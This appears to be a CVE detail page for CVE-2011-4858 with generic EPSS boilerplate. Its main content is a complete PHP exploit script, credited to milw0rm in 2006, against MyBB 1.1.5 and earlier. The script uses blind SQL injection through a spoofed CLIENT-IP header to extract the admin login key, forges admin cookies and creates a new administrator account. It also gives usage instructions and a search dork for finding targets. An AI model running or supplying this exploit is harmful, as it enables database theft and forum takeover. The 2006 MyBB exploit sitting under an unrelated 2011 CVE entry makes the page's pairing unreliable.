CVE-2011-4858 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/php -q -d short_open_tag=on <? echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork, version specific: \"Powered By MyBB\" \"2006 MyBB Group\"\n\n"; /* works regardless of php.ini settings */ if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONS\n"; echo "host: target server (ip/hostname)\n"; echo "path: path to MyBB\n"; echo "Options:\n"; echo " -T[prefix] specify a table prefix different from default (mybb_)\n"; echo " -u[number] specify a user id other than 1 (usually admin)\n"; echo " -p[port]: specify a port other than 80\n"; echo " -P[ip:port]: specify a proxy\n"; echo " -d: disclose table prefix (reccomended)\n"; echo "Example:\r\n"; echo "php ".$argv[0]." localhost /MyBB/ -d\r\n"; echo "php ".$argv[0]." localhost /MyBB/ -Tmy_\r\n"; die; } /* software site: http://www.mybboard.com/ vulnerable code in inc/functions.php near lines 1292-1320: ... function getip() { global $_SERVER; if($_SERVER['HTTP_X_FORWARDED_FOR']) { if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses)) { while(list($key, $val) = each($addresses[0])) { if(!preg_match("#^(10|172\.16|192\.168)\.#", $val)) { $ip = $val; break; } } } } if(!$ip) { if($_SERVER['HTTP_CLIENT_IP']) { $ip = $_SERVER['HTTP_CLIENT_IP']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } return $ip; } ... you can spoof your ip address through the CLIENT-IP http header... as result you can inject sql statements in class_session.php at lines 36-68: by calling the main index.php script ... function init() { global $ipaddress, $db, $mybb, $noonline; // // Get our visitors IP // $this->ipaddress = $ipaddress = getip(); // // User-agent // $this->useragent = $_SERVER['HTTP_USER_AGENT']; if(strlen($this->useragent) > 100) { $this->useragent = substr($this->useragent, 0, 100); } // // Attempt to find a session id in the cookies // if($_COOKIE['sid']) { $this->sid = addslashes($_COOKIE['sid']); } else { $this->sid = 0; } // // Attempt to load the session from the database // $query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'"); ... injection is blind, but you can ask true-false questions to the database to retrieve the admin loginkey. Through that you can build an admin cookie and create a new admin user through the admin/users.php script. Also you can disclose table prefix. -------------------------------------------------------------------------------- -*****************************************************************************- * * * Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto * * grazie Grosso! * * * -*****************************************************************************- */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed()); $anumber = rand(1,99999); $host=$argv[1]; $path=$argv[2]; $port=80; $prefix="mybb_"; $user_id="1";//admin $proxy=""; $dt=0; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } if ($temp=="-u") { $user_id=str_replace("-u","",$argv[$i]); } if ($temp=="-d") { $dt=1; } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($dt) { $sql="'suntzuuuu/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("You have an error in your SQL syntax",$html)) { $temp=explode("sessions",$html); $temp2=explode(" ",$temp[0]); $prefix=$temp2[count($temp2)-1]; echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n"; } else { echo "unable to disclose table prefix...\n"; } sleep(1); } $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(65,90));//A-Z letters $chars=array_merge($chars,range(97,122));//a-f letters $j=1; $loginkey=""; while (!strstr($loginkey,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { $sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } $cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";"; echo "admin cookie -> ".$cookie."\r\n"; $data='-----------------------------7d62702f250530 Content-Disposition: form-data; name="action"; do_add -----------------------------7d62702f250530 Content-Disposition: form-data; name="userusername"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="newpassword"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="email"; [email protected] -----------------------------7d62702f250530 Content-Disposition: form-data; name="usergroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="additionalgroups[]"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="displaygroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="Add User"; Add User -----------------------------7d62702f250530-- '; $packet="POST ".$p."admin/users.php HTTP/1.0\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("The user has successfully been added",$html)) { echo "exploit succeeded... now login as admin\n"; echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n"; } else { echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n"; } ?> # milw0rm.com [2006-07-15]